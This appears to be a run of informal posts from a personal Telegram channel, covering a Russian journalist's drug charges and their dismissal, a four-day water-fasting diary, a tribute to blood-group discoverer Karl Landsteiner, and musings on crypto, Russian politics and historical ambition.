Crackdown on Russian journalists is continuing.
This time it's Ivan Gorbunov a Real journalist who did lots of stories on corruption of Russian government officials.
Ivan has been charged with possession of drugs. This case is an obvious hunt against real investigative journalism.
Drug cases are common practice of fighting against free journalists or opposition in Russia.
Sign of typical authoritative goverment using dirty tricks to limit freedom of speech!🤬

People gathered at police station to support Ivan. They're screaming "let free"

Day 4. No more headaches, slept longer than usual. Don't feel hungry, but feeling a little weak. When I took quarter spoon of salt with my water weird feeling in my belly disappeared. Apparently, salt is very important for our bodies!

Well day 4 is on the way and I dont feel any clarity, energy, still weak and Im starting to feel hungry again... To be honest I felt much better and was way more productive during intermited fasting.
Went for 5 km walk.
Still feel weak.
Talking about increased productivity -My work is stalling because i'm lazy to do anything. Mind is not clear(like many people reported ).
Maybe this fast was good for my overal health, but I havent noticed anything.
Probably going to break my fast today at 23:00.
It will be exact 4 days.

My water fasting experiment is over!
I've broken my fast last night.
And today Im back !! Feeling great again!
10x times more productive comparing to yesterday.
A lot more focused !!! Mind is sharp! 🎯

I dont think im going to repeat this anytime soon and judging from my personal experience I will not advice to try it to anyone without medical supervision. Unlike intermited fasting which worked really well for me!

The only positive I noticed is change of the mood after breaking fast to really positive!
When u deprive urself from something and finally get it - feels like you're high.

Wow ! Today all criminal charges were dropped ! This is unbelievable. Goverment actually listened to ordinary folks.
It's a true victory for Russian people ! A true victory of those brave people who went out to protest injustice !
Next great step would be jailing those crooked cops who framed Ivan by putting drugs in his bad and telling so lies that even an idiot wouldnt believe.
Russian cops are not the worst cops in the world, they wont shoot a kid with a toy gun(at least i've never heard that happen). And if you talk to them one by one most of them are really great guys, but system is too corrupt. It's no made to bring good out of them. Many of them go to police to protect people, but once they join they realize that their main job is not to protect all people, but to bring fixed sum of money to their boss and protect goverment, otherwise they'll never get a raise.
Today was probably the first time cops have actually backed down under public pressure.
It shows a tiny hope that maybe things could change for better in Russia🇷🇺

⬛️Shirwan - My favourit international political analyst. He always manages to show me a birds eye view of the international relations between different countries without unnecessary emotions in his Caspian Report.

Quite often society offers us false heros, people who did nothing for us, but somehow they're very celebrated.
We celebrate generals, politicians, musicians, poets and actors.
I want to propose @Talks Weekly Hero commemoration.
But to me personally the most celebrated people should be those who made scientific and technological discoveries.
The most notable of these people do get recognized by Nobel prize, but I still think that they do not get enough credit that they deserve.
How do I measure the importance of the person for humanity ?
Simple. What would happen if we errase everthing this person ever done, how would that affect life of humanity?
Lets take a great actor Marlon Brando and compare him to this weeks hero Karl Landsteiner.

If we delete everything all the work Marlon ever done, we might lose some nice movies, but that's it.
But without work of Karl Landsteiner, hundreds or maybe thousands of people would die in hospitals every day, because blood transfer from one person to another would be almost impossible without his discovery of of blood groups.

Karl Landsteiner #RealHero
He distinguished the main blood groups in 1900, developed the modern system of classification of blood groups.

Forgot to metion that you must have Metamask installed in your browser.
If you did everything correctly you'll see a popup windown asking to enter site ID- you type 0 and Your get to see an article about the type of freedom you get from the knowledge of cryptography...
We all love Telegram excatly because of the cryptography that give us privacy.
So if u're technical enough to open this article you should read too.

Facebook is launching it's own crypto currency- Libra. Here's explanation what it's gonna be like.

Lots of people were not happy with ending of Game of Thrones. So Ramzan Kadyrov decided to do a remake. No need to explain who will win at the end of this new series.😏 😏😏

Today Russian president tortured Russian media by holding public direct line for 4 hours !

Any suggestions how to make @talks more popular?

Today entered the age of Christ or Alexander the Great.(the age at which they died)

When Julius Caesar was in Spain he saw a stature of Alexander the Great and apparantly he cried because he had achieved so little at the age when Alexander had world under his feet. He would force force world under his feet a bit later.
Times have passed since then you dont necessary have to kill lots of people to leave your mark in history.
But you still have to be able to conquer people, nowadays it's done with technology.
Caesar couldnt even dream of conquering 2 billion people like Mark Zukerberg or Lary Page & Sergey Brin.
Population of Roman empire at its peak was estimated at about 100 million people.
There're 200 million active telegram users, so technically Durov at lease 2x times more influential than Ceasar.

I should do more.
